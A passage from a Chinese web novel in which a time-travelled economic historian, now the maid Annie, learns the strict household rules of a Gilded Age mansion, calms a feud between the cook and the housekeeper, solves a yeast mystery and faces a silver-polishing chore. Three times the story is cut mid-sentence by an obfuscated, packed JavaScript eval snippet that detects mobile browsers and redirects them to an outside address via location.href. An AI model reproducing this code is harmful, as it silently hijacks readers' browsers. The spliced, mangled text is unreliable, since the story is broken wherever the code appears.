“你暂时证明了自己不是完全无用。”夫人开口，声音里没有一丝温度，更像是在陈述一个客观事实，“但留在布鲁克家，靠的不是一点小聪明和蛮力。这里的每一件事，都有它的规矩。规矩，维系着这个家的体面和秩序。任何破坏规矩的行为，都是绝对不能被容忍的。施耐德。” 施耐德管家上前一步，他的声音不高，却带着一种不容置疑的穿透力，每一个字都像是刻在石板上： “安妮，以下是你必须牢记并严格遵守的条例。我只说一次。” “第一，关于你自己。每日清晨五点必须起床，整理好个人床铺，穿戴整齐。你的制服由公家提供，必须保持绝对洁净平整，头发不许有任何散乱。每周可沐浴一次，具体时间由梅布尔太太安排。” “第二，关于工作。你的职责范围包括协助清洗器皿、擦拭楼梯铜条、保持指定区域的地板清洁、以及完成梅布尔太太或上级女仆指派的一切杂务。未经召唤，绝对禁止进入主人居住区的前厅、客厅、书房及卧室。 “第三，关于言行。禁止大声喧哗，禁止与任何男仆有不必要的交谈，禁止打听主人家的私事，禁止将府邸内任何消息带入外界。未经允许，不得擅自动用任何非你份内的物品，哪怕是一根针、一片面包。” 任何时候，在走廊遇见主人或访客，必须立刻背贴墙壁站立，低头垂目，等待对方通过。” “第四，关于用餐。仆人有固定的用餐时间和地点。不允许将食物带离厨房和仆从大厅。不允许有任何浪费。” “第五，关于外出。未经我和梅布尔太太明确许可，不得以任何理由离开宅邸范围。每月有半天休假，需提前申请并经批准。” 条款一条接一条，事无巨细，几乎涵盖了一个底层女仆生活的方方面面。施耐德管家的语速平稳，毫无起伏，却带着千斤重压。 玛蒂尔达夫人在施耐德停顿的间隙，冷冷地补充道：“布鲁克家的声誉，建立在每一个细节之上。你的任何一点疏忽和失仪，在外人看来，都是我们这个家庭的失礼和缺乏教养。记住，你代表的不仅仅是你自己。若因你的行为让我的家族蒙羞，后果将远不止是失去工作那么简单。明白吗？” “是，夫人，我明白。我一定严格遵守。”安妮低着头，声音尽可能显得恭顺而坚定。 训话似乎告一段落。玛蒂尔达夫人拿起桌上的一份账册和银笔，目光扫过，忽然对旁边的妹妹开口，彷佛她刚刚出现，语气略带责备：“伊迪丝，别总盯着这些无关紧要的小事。”她或许是指伊迪丝小姐袖口上因核对慈善捐款时蹭上的墨渍？ 安妮不知道她具体指什么，但也确实才注意到角落边的伊迪丝小姐。 伊迪丝从账册后抬起头，淡蓝色的眼眸睁大了一分，也好似才从自己的内心世界醒来。她声音柔软，向安妮递来笑容：“你手上的伤……要不要再包一下？我房里有药膏。” 说实话，自从进了布鲁克家，条件比船上好太多，虽然赶着粗活，但不用为了几口水，就去帮着底层船员干脏活，以至于给自己带来无数的磕碰刮伤。安妮手上的小伤口都快愈合了，那段船行记忆好像也彻底从脑子里抹去了，好多人好多事都记不得了，不怎么清晰。安妮略微感动，但仍旧低着头，“些微小事，不用麻烦小姐。” “伊迪丝，”玛蒂尔达夫人放下银笔，茶勺碰在杯壁上发出清脆一响，带着不赞同，“主家哪有给女仆送药膏的道理。”她转而看向安妮，语气刻板地补充更具体的细节：“不过她既然要留下，这些‘细枝末节’得说清楚：主家主动送的东西才能接，没有说送的，不能自己拿，那就是偷窃……主家用餐时，你站在身后候着，添茶要从左边绕，壶嘴别对着人；擦银器时用软布，别再用你上午找的旧报纸，刮花了要赔……” 她似乎想到哪里说到哪，又似乎早就把这些规则条框默记心中。就等着这一天。聂安既震惊于她能说这么长一串，又心里觉得——好笑。没错，她差点笑出声，但硬是憋住了。 在她的知识库里，西方社会在工业革命前已经发展出了一套极为复杂的主仆制度。家庭的主人，一般不会直接越过管家，向底层仆从发号施令。更不会直接来到管家办公室，进行账目核对。现在看起来，在场的所有人，除了安妮以外，都没有表现出一点点不应该的想法。这足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417885|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以说明，至少在这栋大宅，玛蒂尔达夫人越俎代庖的事情没少干！这或许是她的风格，也或许是美国人没有欧洲人那么“文明”的体现。又或许——第二次工业革命的到来，正在碎裂很多旧有的关系。 规矩——并非牢不可破的！安妮有点喜欢“镀金时代”了，就那么一点。 梅布尔太太在旁躬身，似乎为了提醒所有人她的存在，表演式地补充：“夫人的茶要温的，不能太烫，也不能凉；伊迪丝小姐的圣经放在床头，如果指派你收拾房间，可别碰，她记着页码呢；埃莉诺小姐的房间在二楼东头，她下午刚到，你别去打扰，等以后再打招呼。” 安妮把这些记在心里，像一个游戏玩家阅读新手指南那样——玛蒂尔达的茶温、伊迪丝的圣经、埃莉诺的房间位置，每一个细节或许都有“游戏”的通关密码。她正点头时，瞥见伊迪丝悄悄把账册上的一行涂抹了一笔。 “行了，施耐德带她去楼下看看，让她认认人。我在这里等你，等会儿跟你讨论埃莉诺的生活起居事宜。”玛蒂尔达重新拿起账册，笔尖落在“生活费”那页。 从办公室出来，施耐德的脚步慢了些。路过楼梯口时，他突然从口袋里掏出张纸条，是神父上午留下的教堂地址：“神父说，怕你找不到路，让我转交给你。”纸条边缘还沾着点教堂的熏香味。安妮攥紧了，想起上午神父离开时说“有困难就去教堂找我”，心里暖了暖。 厨房的热气扑面而来时，厨师汤姆正蹲在灶台旁熬汤，黄油混着洋葱的甜香飘满屋子。“这是安妮，以后跟着梅布尔干活。”施耐德介绍。 梅布尔太太立马严肃地走进了厨房，好像知道该自己出场了。但她只是轻微点头，没有说话。 汤姆抬头笑了笑，指了指旁边的木架：“小女孩，看清了！这是我的藏宝库，左边是面粉和糖，右边是土豆和洋葱，你记清楚，上面的是我们喝的茶叶，别跟玛蒂尔达夫人的茶叶混了——上次玛莎拿错，被骂了半钟头。” 安妮点头时，听见身后传来细碎的脚步声——是女仆露西，她端着脏碗路过，看见安妮，悄悄比了个“加油”的手势，嘴角还沾着点糖霜。 施耐德没注意，放低了声音说：“明天梅布尔会给你发制服，鞋可能大一点，垫块布就好。女仆房十点灭灯，别跟其他人起争执。” 交代完毕，施耐德便离开了。梅布尔太太随后将安妮带往顶楼的仆人卧室。 坐在坚硬的床铺上，安妮的手心里，一边紧紧攥着那张写着地址的纸条，另一边摸着粗糙的床布和硬邦邦的枕头。 小桌前有一杯牛奶和一片面包，是梅布尔太太留下的。 深宅的规矩，她已经听到了，甚至看到了更多细节。而如何在这些规矩的缝隙中活下去，甚至找到一条路，将是接下来每时每刻都需要应对的挑战。 夜色深沉，这座大宅仿佛一头沉睡的巨兽。 5. 仆人之间 清晨4点3刻，梅布尔太太精准地在女仆宿舍门口摇起了冰冷的铃声。 安妮几乎是瞬间睁开了眼睛，在意识清醒前，身体已经做出了反应。连续几日的劳作，已经将这具身体原本的生物钟粗暴地调整到了布鲁克家的节奏。 她利落地起身，将粗糙的薄毯叠得棱角分明，然后迎来了每日第一个小小的“挑战”——穿上那身女仆制服。 在镀金时代的美国，中上层家庭的女仆制服通常由雇主提供，有着严格的样式规定，既是身份标识，也体现了家庭的“体面”。 标准配置包括：一条及踝长裙，一条白色围裙，两只袖套，以及一顶用于束住头发的白色软帽。制服强调遮盖、朴素和实用，但往往忽略舒适性。 安妮以前只在书上见过，现在直接穿上了！这身行头堪称底层女性劳动者的“铠甲”，毫无舒适可言。 首先，贴身的灰色棉布长裙，布料粗硬，几乎没什么弹性，缝线处磨得皮肤发红。为了维持笔挺的形态，裙摆内侧甚至衬着大量上浆的衬布，走动时沙沙作响，像套了个移动的帐篷。高耸的领口紧箍着脖颈，手腕处用纽扣紧紧扣住，极大地限制了活动自由，且不利于散热，在闷热的环境中工作极为辛苦。 好在布鲁克家不用带那种傻气的女仆软帽。 安妮一边费力地扣着后背那些小而密的纽扣，一边忍不住在心里吐槽：这简直是对人体工学的彻底漠视！她无比怀念现代一件纯棉T恤和休闲裤的简单与自在。这身衣服不仅行动不便，更像一个无形的标签，时刻提醒着她此刻卑微的地位。 她小心翼翼地调整着肩带——这制服明显是给更壮实的人穿的，穿在她瘦削的身上空落落的，却又在某些部位，比如领口和肋下，诡异地显得紧绷。 “这大概就是‘均码’的悲剧吧，”她苦中作乐地想，“属于布鲁克家的‘均码’。” 同屋的玛莎发出不满的嘟囔，翻了个身，而露西已经揉着眼睛坐了起来，也开始默默地履行这套每日的“铠甲穿戴仪式”。 布鲁克大宅还没彻底苏醒，但新的一天开始了。 按照施耐德管家和梅布尔太太制定的详尽日程，安妮在仆人大厅快速用完面包和咖啡后，首先需要擦拭主楼梯两侧的铜条。她跪在冰冷的大理石台阶上，用小刷子清除缝隙里的灰尘，再涂上特制的油膏，用软布反复擦拭，直到那黄铜散发出柔和而深沉的光泽。这项工作枯燥而耗费体力，需要极大的耐心和对细节的专注——这恰恰是玛蒂尔达夫人最看重的“体面”的基石。 1个多小时过去，她的膝盖开始发痛，手指也因持续用力而微微僵硬。当早餐的预备铃声响起时，她终于完成了最后一段铜条的擦拭。接下来，她需要赶往厨房，协助准备主人早餐并完成梅布尔太太随时可能指派的杂务。 厨房是仆役世界的副中心，仅次于仆从公共休息室的地位，是信息的交换站，也是微小权力博弈的舞台。 巨大的铸铁炉灶散发着灼人的热量，各式铜锅悬挂着，反射着跳跃的火光。空气中弥漫着烤面包、煎培根、炖燕麦粥以及各种香料混合的浓郁气味。 安妮刚一踏进厨房的门槛，就敏锐地感觉到了一丝不同寻常的气氛。 汤姆厨师正站在巨大的案板前，用力地剁着一块牛肉，刀落在砧板上的声音比平时更响、更急促。他的围裙上沾着血水和酱汁，眉头紧锁，额头上沁出细密的汗珠，不知是因为炎热还是别的什么。 而女管家梅布尔太太则站在储藏室的门口，手里拿着库存记录板，尖着嗓子说话，声音不大，却足以让厨房里每个人都听得清清楚楚： “……我可不管今天送来的牛里脊是不是最好的那一块，汤姆。夫人昨晚明确表示，今天的午餐汤品要用最上等的小牛肉清炖，味道必须清淡鲜美。你看看这块肉，”她用笔尖嫌弃地指了指汤姆正在处理的那块肉，“筋络这么多，炖出来的汤能清澈吗？能合夫人的口味吗？要是耽误了午餐，或者让夫人不满意，这个责任谁来负？是你，还是我？” 汤姆厨师头也没抬，手下剁肉的力道又加重了几分，闷声回答：“市场今天送来的就是这批货！最好的部分早就被范德比尔特家和阿斯特家挑走了！我能有什么办法？难道要我变出一块更好的肉来？” “办法总是人想的！”梅布尔太太的声音提高了八度，带着一种居高临下的指责，“一个好的厨师，就应该有能力应对各种情况，而不是找借口！还是说，你根本就没把夫人的要求放在心上？” “你！”汤姆猛地抬起头，脸膛因愤怒和灶火的热气而涨得通红，“梅布尔太太，你管理女仆和储藏室是一把好手，但厨房里的事，什么时候轮到你来指手画脚了？肉的品质问题，你应该去质问采购，或者向施耐德先生反映！在这里对着我嚷嚷有什么用？” “哦？你的意思是我的管理有问题，采购不力了？”梅布尔太太冷笑一声，眼神扫过周围几个竖起耳朵偷听却假装忙碌的帮厨女工，“采购的单子可是经过我核对，施耐德先生过目后才执行的！现在东西不合用，难道不是你们厨房处理不当？也许是你的手艺退步了，汤姆，连一块普通的肉都处理不好了？” “你胡说八道！”汤姆气得几乎要扔下刀，但他深吸了一口气，似乎在极力克制，“我的手艺如何，夫人和小姐自然有评判！倒是你，梅布尔太太，处处挑剔，是不是因为伊迪丝小姐最近总夸我做的黑森林蛋糕好吃，让你觉得不舒服了？” 这句话像一根针，精准地刺中了梅布尔太太的某根神经。她的脸色瞬间变得难看。 在布鲁克家，谁都知道，伊迪丝小姐温和善良，她的赞赏往往代表着一种温和的势力倾向，而玛蒂尔达夫人虽然严厉，却也尊重妹妹的看法。汤姆厨师某种程度上代表着获得伊迪丝小姐认可的一方。 而梅布尔太太，则无疑是玛蒂尔达夫人威严和规矩最忠实的执行者。两人在仆役中的影响力，隐隐有着较劲的意味。 “你少在那里胡扯！”梅布尔太太厉声道，“我现在说的是这块肉和午餐的汤！扯上伊迪丝小姐做什么？我看你就是心思不正！” 眼看争吵即将升级，厨房里的气氛紧绷得像一根即将断裂的弦。其他仆人都低着头，不敢出声，生怕引火烧身。露西担忧地看了安妮一眼，悄悄摇了摇头。 就在这时，一个沉稳、不高却极具穿透力的声音在厨房门口响起： “这里发生了什么事？早餐已经准备妥当了吗？为什么都聚在这里？” 是施耐德管家。他穿着一丝不苟的黑色常礼服，领结端正挺括，灰白的头发梳得整整齐齐。他站在门口，目光平静地扫过全场，最后落在对峙的两人身上。他的出现像一阵冷风，瞬间让燥热紧张的厨房降温。 梅布尔太太立刻收敛了脸上的怒容，换上一副公事公办的表情，抢先一步开口：“施耐德先生，您来得正好。我正在和汤姆厨师确认午餐汤品用的食材。今天送来的牛肉品质似乎不太理想，我担心会影响夫人用餐的心情。” 汤姆厨师也压下火气，但语气依旧生硬：“施耐德先生，市场送来的货就这个水平。我已经在尽力处理，争取做到最好了。” 施耐德管家没有说话，他缓步走到案板前，仔细看了看那块被争论不休的牛肉，甚至还用手指轻轻按压了一下。他的动作不疾不徐，带着一种不容置疑的权威。 片刻后，他直起身，目光在两人之间逡巡，声音平稳无波，听不出任何情绪： “肉的品质确实并非最优，但尚在可接受范围内。汤姆，你的任务是利用你的专业技能，尽可能地弥补原料的不足，确保午餐汤品的味道和呈现符合布鲁克家的标准。这是你的职责所在，抱怨并不能让肉质变得更好。” 然后，他转向梅布尔太太：“梅布尔太太，你的职责是确保物资供 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417886|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应和库存管理井然有序。如果对采购的物资有异议，应按照程序向我或直接向采购人员反映，而不是在厨房的工作区域与厨师发生争执，影响备餐效率和秩序。这无助于解决问题。” 他各打五十大板，却又清晰地划定了每个人的权责界限。 “任何事，”他顿了顿，目光似乎微微锋利了一丝，“都不应成为工作中带有情绪的理由。在布鲁克家，效率、秩序和结果才是最重要的。任何影响这三者的事情，都是不被允许的。明白了吗？” 他的语气并不严厉，却带着千斤重压，让汤姆和梅布尔都不得不低下头，应声道：“明白了，施耐德先生。” “很好。”施耐德管家点了点头，“那么，回到你们各自的工作岗位上去。早餐必须在十五分钟后准时送上楼。我不希望再看到任何不必要的延误或者……噪音。” 危机被轻易化解。汤姆重新拿起刀，开始更精细地处理那块牛肉，试图剔除多余的筋膜。梅布尔太太抿紧嘴唇，拿着记录板，转身去检查餐具的摆放，脸色依旧不太好看，但不再多言。厨房里的其他人也立刻加快了动作，把已经备好的早餐放到碗碟中，刀叉碰撞声、炉火噼啪声重新成为主旋律，仿佛刚才的冲突从未发生。 安妮默默地将一摞擦干的盘子搬到指定的餐车上，内心却波涛暗涌。 她看明白了。这哪里仅仅是一场关于一块牛肉质量的争吵？这分明是厨房里两个派系领头人之间一次微小的权力试探。汤姆厨师，凭借着过硬的手艺和某种程度上获得的主人——尤其是伊迪丝小姐——的赏识，代表着技术和服务带来的影响力。而梅布尔太太，则紧握着物资管理和人员调配的权力，是玛蒂尔达夫人所强调的“规矩”和“等级”的忠实维护者。 可这又哪里只是他们的较劲，分明是两位女主人在较劲哩。 而施耐德管家，这位仆役世界的最高法官，他刚才的表现完美诠释了他的原则：不偏袒任何一方，只看重效率、秩序和结果。他迅速平息争端，确保大宅的日常运转不受影响，这才是他真正关心的。至于底下人谁和谁有矛盾，只要不影响到这三大原则，他或许根本不在意，或者认为这是一种微妙的制衡。 安妮前世作为社会经济史学者的心激动不已，恨不得把当下的感悟记录下来，与学过的知识一一对照。在维多利亚时代及之后的美国“镀金时代”，像布鲁克家这样的上层阶级家庭中，仆役队伍往往规模庞大，结构森严。管家是仆役中的最高领导者，通常为男性，负责管理所有男仆、负责酒窖、银器管理、正式宴会的统筹以及对外事务，地位崇高。女管家则负责管理所有女仆、管理日用织品、储藏室及厨房日常物资，直接对女主人负责。厨师负责整个厨房的运作。他们之间往往存在着明确的权力界限和潜在的竞争关系，尤其是在女管家和厨师之间，因为厨房物资的使用和管理是交叉点。一位像施耐德这样权威且公正的管家，对于维持大宅的平稳运行至关重要。 但此刻，她只是一届女仆。 安妮低下头，继续着手头的工作。她原本或许还存着一丝幻想，能否凭借一点小聪明和善意，在某个派系中获得庇护。但现在她彻底明白了，在这座等级森严的大宅里，最安全的生存之道，或许不是急于站队，而是恪守本分，做好自己的事，尽可能地提升自己的“效率”和“有用性”，从而进入施耐德管家视野中的“安全区”。只有被他认定为对维持“效率、秩序和结果”有价值且守规矩的人，才有可能获得相对的认可。 对，就是这样。展现出无可替代的价值，却又严格遵守他定下的规矩。 打定主意，安妮感觉心中的迷茫稍稍散去。 早餐时间到了。她和其他女仆一起，推着餐车，沉默而有序地走出仆役通道，准备开始新一轮的服务。走廊墙壁冰冷，前方的门厅奢华温暖，宛如两个世界。而她，必须小心翼翼地行走在界限之上。 6. 中立之道 厨房里的暗流，自那次牛肉风波后，非但没有平息，反而变得更加微妙。 一种无形的张力弥漫在仆从群体刻意压低的交谈声中。 安妮能清晰地感觉到，自己正身处一场无声战争的边缘，交战双方是以汤姆厨师为首的“技术派”和以梅布尔太太为首的“规矩派”，而最高统帅施耐德管家，则像一座冰山，静静地悬浮于上。 安妮知道自己的性格弱点，前世也经常被导师和领导诟病，说她——决定轻率，行事盲动！某个领导曾拍着桌板，对她吼道“你在没有跟上级充分沟通的情况下，就和合作机构推进方案，出问题，你来承担吗？你能承担的了吗？” 改变别人很难，改变自己更难，她不断提醒自己牢记定下的策略：保持中立，只求做好本职工作，默默观察，在必要时展现价值，但绝不轻易站队。 然而，麻烦总会自己找上门。 这天下午，午餐的忙碌刚刚过去，厨房里弥漫着食物残留的温热和清洗碗碟的碱液味。汤姆厨师正挽着袖子，准备开始制作晚餐需要的面包和明天早餐用的发酵面团。发酵是面包的灵魂，而灵魂的核心，则是一块被精心养护、每次留种的老面，或者——对于布鲁克家这样讲究效率的大宅而言——更常用的是从专业商户那里购买的压缩酵母块。 汤姆打开专门存放酵母等易坏食材的储藏格，脸色蓦地一变。他翻找了几下，动作越来越急，眉头紧紧锁了起来。 “见鬼！我的酵母呢？”他低声咒骂了一句，声音里带着难以置信的焦躁，“我明明昨天才补充的新鲜酵母块，就放在这里！怎么不见了？” 他的声音引来了周围几个帮厨的注意。露西停下擦洗铜锅的手，担忧地望过来。玛莎则撇了撇嘴，一副事不关己的样子，但眼神里闪过一丝看好戏的光。 梅布尔太太仿佛算准了时间一般，端着她的库存记录板，适时地出现在厨房门口，语气带着一丝不易察觉的得意：“怎么了，汤姆厨师？又缺少什么了？这次可不是牛肉的问题了吧。” 汤姆猛地转过身，脸膛因焦急和怒火而发红：“梅布尔太太！储藏格里的酵母块不见了！整整一大块！没有酵母，晚上的面包和明天的早餐面团全都做不了！这到底是怎么回事？” “不见了？”梅布尔太太挑起修剪得过细的眉毛，走近几步，假意朝储藏格里看了看，“怎么会不见呢？我记得昨天清点的时候还在。是不是你用了，忘记补货了？或者……被谁不小心弄坏了藏起来了？”她的目光意有所指地扫过厨房里的几个年轻帮厨，最后甚至若有若无地瞥了一眼正在角落安静过滤硬木灰的安妮。过滤出的碱性溶液，经过熬煮就是当下厨房常备的清洁剂。 “我绝对没有用完！那是足够用三天的量！”汤姆气得声音都提高了，“肯定是有人动过了！是谁？谁干的？！” 厨房里一片寂静，没人敢接话。大家都低着头，生怕被这股怒火波及。这种重要的食材不翼而飞，在规矩森严的布鲁克家可是不小的事故。 梅布尔太太叹了口气，摇着头，声音却清晰得让每个人都能听见：“唉，我就说嘛，这厨房的管理还是得再严格些。什么东西放在哪里，用了多少，剩余多少，都得有严格的记录和看守。不然，今天少块酵母，明天是不是连夫人的银勺子都能不见了？施耐德先生最看重规矩，这晚餐要是因为没面包上了桌，影响了夫人小姐用餐，怪罪下来，我们可都担待不起。” 她巧妙地将“失窃”事件引向了“管理混乱”，并再次强调了施耐德的逆鳞——秩序被破坏。这无疑是将一口大黑锅直接扣到了负责厨房运作的汤姆头上。 汤姆的脸涨成了紫红色，手指发抖，眼看就要爆发一场激烈的争吵。 安妮的心脏怦怦直跳。她知道，如果争吵再次爆发，并且真的导致晚餐受影响，盛怒之下的施耐德管家很可能会进行无差别的严厉惩处。她这样刚来没多久、地位最低的女仆，很容易成为被牺牲的那一个。 她必须做点什么，但不能直接卷入冲突。 她的目光快速扫过那个空荡荡的储藏格，脑子飞快地转动。酵母……压缩酵母块……怕热……她想起在现代看过的资料，早期的压缩酵母活性不稳定，需要冷藏保存，否则很容易失效甚至死亡！ 忽然，她注意到储藏格旁边的墙壁上，那条为厨房提供热水的铜管似乎比往常更烫手一些。她想起上午似乎听某个男仆嘀咕过一句，说有一段热水阀有点漏，可能需要检修…… 一个念头闪电般划过她的脑海。 就在汤姆即将再次开口怒吼，梅布尔太太嘴角微微上扬准备继续施压的时刻，安妮突然轻轻地、带着点不确定和怯生生地“啊”了一声。 这声细微的惊呼在“剑拔弩张”的厨房里显得格外突兀，立刻吸引了几道目光。当然，也打断了酝酿中的激烈“冲突”。 她像是被吓到了一样，立刻低下头，手里的滤网和搅棍也停了下来，眼神却仿佛无意地瞟向那根发烫的铜管，以及紧挨着铜管的储藏格隔层。 施耐德管家不知何时已经闻声来到了厨房门口，显然是被这里的动静惊动了。他面色沉静，但语气严肃：“又发生了什么事？”他的目光扫过面红耳赤的汤姆，以及一脸“我早有所料”的梅布尔太太。 梅布尔太太立刻抢先道：“施耐德先生，汤姆厨师保管的酵母块不见了，现在无法准备晚餐的面食。我认为这是厨房管理上的严重疏失！” 汤姆急着辩解：“根本不是！是有人偷了或者故意藏起来了！” 施耐德的眉头微微皱起，效率被影响的迹象让他明显不悦。 就在这时，安妮像是鼓足了勇气，又像是自言自语般地小声喃喃，声音刚好能让附近的几个人，包括施耐德先生听到，她的目光依旧带着点茫然地看着那根铜管： “奇怪……这管子今天好像特别烫……会不会是……太热了，把什么东西给……融化了？或者……弄坏了？”她的话说得断断续续，仿佛只是无意间的联想，甚至没有直接提到“酵母”两个字。 但这句话，确实起了作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417887|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用。 汤姆厨师猛地一愣，像是被点醒了什么。他一个箭步冲到那根发烫的铜管前，伸手摸了摸紧挨着的木板隔板——触手滚烫！他手指在储藏格下面一层的抽屉轻轻一抹——指尖赫然带出许多褐色的粉状物，散发着一股淡淡酸败味！ 根本不是失窃！是储藏格紧挨着异常发烫的热水管，高温让压缩酵母块融化、变质了！ 在19世纪中后期，商业生产的压缩酵母已经开始逐渐取代传统的老面或啤酒花酵母，成为城市面包房和富裕家庭常用的发酵剂。它由酵母菌培养液经过压榨脱水制成，呈块状，活性比传统方法更强更稳定，但缺点是对温度非常敏感。需要在阴凉低温处保存，如果暴露在高温下，酵母菌就会大量死亡，导致酵母块粉化、焦化，完全失去发酵能力。它并不会真的融化成液体，但在普通人眼里就是“融化了”。 真相大白！ 汤姆厨师长舒一口气，随即又愤怒地瞪向那根热水管和梅布尔太太：“看到了吗？！是管道问题！是过热！不是我的管理问题！更不是有人偷了！”他之前差点就背了黑锅。 梅布尔太太的脸色瞬间变得难看至极，她张了张嘴，似乎想说什么，但在施耐德管家冷静的目光注视下，最终还是把话咽了回去。她狠狠剜了安妮一眼，但安妮只是低着头，继续过滤木材灰，仿佛刚才那句话真的只是无心之语。 施耐德管家走到抽屉前，看了一眼那摊已经报废的酵母，又伸手摸了摸发烫的管子和隔板，沉吟了片刻。 他转向汤姆：“既然找到了原因，现在最重要的是解决问题。晚餐的面包必须供应。还有什么替代方案？” 汤姆擦了把汗，急道：“现在去市场买肯定来不及了！只能用应急的老面种了，但是发酵速度慢，味道也差不少……” “那就用老面种。”施耐德果断地做出决定，“尽快开始。至于管道，我立刻让人来修。”他的目光最后落在安妮身上，停留了短暂的一秒，那眼神深邃难辨，似乎只是随意一瞥，又似乎包含了些什么。 他没有表扬安妮，也没有指责任何人，只是用最快的速度恢复了厨房的秩序，确保效率得以继续。 危机解除。汤姆立刻忙碌起来，指挥人去找那块被养在角落瓦罐里的老面肥。梅布尔太太铁青着脸，转身走了。 过了一会儿，汤姆趁着间隙，走到安妮旁边，假装检查食材，飞快地低声说了一句：“……谢了，女孩儿。以后需要热牛奶或者糖渣，跟我说。”这是一种来自厨房掌舵者的、朴素的感激和承诺。 安妮轻轻点了点头，没有多话，继续默默工作。 傍晚时分，当安妮被派去地窖取腌菜时，在一个堆满杂物的角落，她意外地发现了一个小陶罐，里面藏着几块……新鲜的、被小心包裹着的酵母块。 安妮的心猛地一跳。她立刻明白了，酵母的“失踪”恐怕并非意外那么简单。只是没想到热水管恰好异常发烫，正好解释了酵母的消失。 她不动声色地退开，仿佛什么都没看见。 7. 银器暗战 安妮很快发现，梅布尔太太的权威并非总是通过大声呵斥来体现。 有时，它更像一种冰冷的、精确计算的打压，尤其是在她认为某些人的“用处”可能威胁到自身地位时。 某个清晨，当安妮完成例行的擦拭工作来到厨房时，发现气氛比平时更加凝重。梅布尔太太正站在厨房中央，脚下放着三口硕大的、看起来就异常沉重的木箱。箱盖敞开着，里面并非新鲜的食材，而是堆得满满当当、黯淡无光、甚至覆盖着一层厚厚黑锈的银器——烛台、餐刀、餐叉、汤勺、盛酱汁的小盅……几乎所有正式宴会上会用到的银质餐具都在这里了，但它们现在的样子，简直像是从海底沉船里刚打捞上来的。 “安妮，”梅布尔太太的声音平平板板，却带着不容置疑的命令，“夫人吩咐了，舞会季快到了，这些银器必须全部清理出来，恢复光亮。施耐德先生也格外关注这件事，这关系到布鲁克家的脸面。” 她顿了顿，目光扫过安妮那双因为连日劳作而略显粗糙的手，嘴角似乎极轻微地勾了一下：“我看你手脚还算麻利，擦扶梯也擦得不错。这些活儿就交给你了。今天之内必须全部完成。记住，要擦得光亮如新，不能有一丝划痕。库房里专用的银器擦拭软布和擦银膏可以领……对了，柠檬光是吃都不够，别在这些地方浪费了！” 今天之内？ 安妮看着那三大箱几乎被氧化层完全包裹的银器，心里倒吸一口凉气。这根本是不可能完成的任务！即使用上这个时代最强的擦银膏和力气，想要磨掉这么厚重的氧化层，不仅需要大量的时间和体力，更可能因为反复摩擦而在柔软的银器表面留下永久的划痕——那才是真正无法挽回的损失。 在19世纪，银器是富裕家庭地位和体面的重要象征，但银金属极易与空气中的硫化物反应生成黑色的硫化银，即氧化发黑。这时候的主流清洁方法是使用含有研磨剂，如白垩粉、浮石粉的擦银膏或擦银粉，通过物理摩擦去除氧化层。这种方法费力、低效，且容易损伤银器表面精致的浮雕或光滑的镜面。 这分明是一次刁难。 一次借着“正经差事”名头的、冠冕堂皇的刁难。如果她完成不了，或者做得不好，那就是能力不足，辜负了管家和夫人的信任；如果她抱怨，那就是畏难和懒惰。 汤姆厨师在一旁和面，眉头紧锁，显然也看出了其中的不对劲，但他不好直接插手女管家分派的任务。露西投来同情的目光，而玛莎则毫不掩饰地露出一丝幸灾乐祸的表情。 安妮没有立刻争辩，她只是蹲下身，拿起一只几乎看不出原色的高脚杯，用手指抹了一下上面的黑垢，又看了看库房领来的、效果有限且含有细微研磨剂的擦银膏和那几块看起来就不太够用的软布。 “是，梅布尔太太。”她低声应道，声音听不出情绪。她知道，此刻的任何反驳都是徒劳的。 梅布尔太太似乎满意了，转身离开前又补充了一句：“对了，擦拭工作就在后廊进行吧，那里光线好，也免得银粉弄脏了厨房。” 后廊通风但寒冷，这无疑又增加了工作的难度。 安妮费力地将三口沉重的箱子一口一口拖到后廊，冰冷的空气立刻让她打了个寒颤。她看着堆积如山的黯淡银器，仿佛看到了一座需要徒手挖掘的小山。不能硬来，她告诉自己，必须想办法。 柠檬明确是不能用了！ 她需要一些别的东西。她记得现代清洁中常用的一些温和且高效的方法。白醋！酸性可以溶解氧化层！小苏打！可以作为温和的辅助研磨剂！可是这些东西在哪里？直接去要肯定会引起怀疑。 就在她暗自焦急时，汤姆厨师的身影出现在后廊门口。他左右看了看，迅速将一个棕色的陶瓶和一个小纸包塞到安妮手里，压低声音快速说道：“拿着！白醋和苏打粉。别让人看见。兑着温水用软布蘸着擦，试试看，或许能省点力气。千万别说是我给的！” “天啊！”这真是惊喜，彷佛神听见了她的祈祷！ 其实，安妮小看了当下的人。 利用化学反应去除氧化层的方法在镀金时代虽然尚未普及，但已经作为家庭秘方在一些人家流传。汤姆显然知道这个。 安妮心中涌起一阵感激：“谢谢您，汤姆先生！” 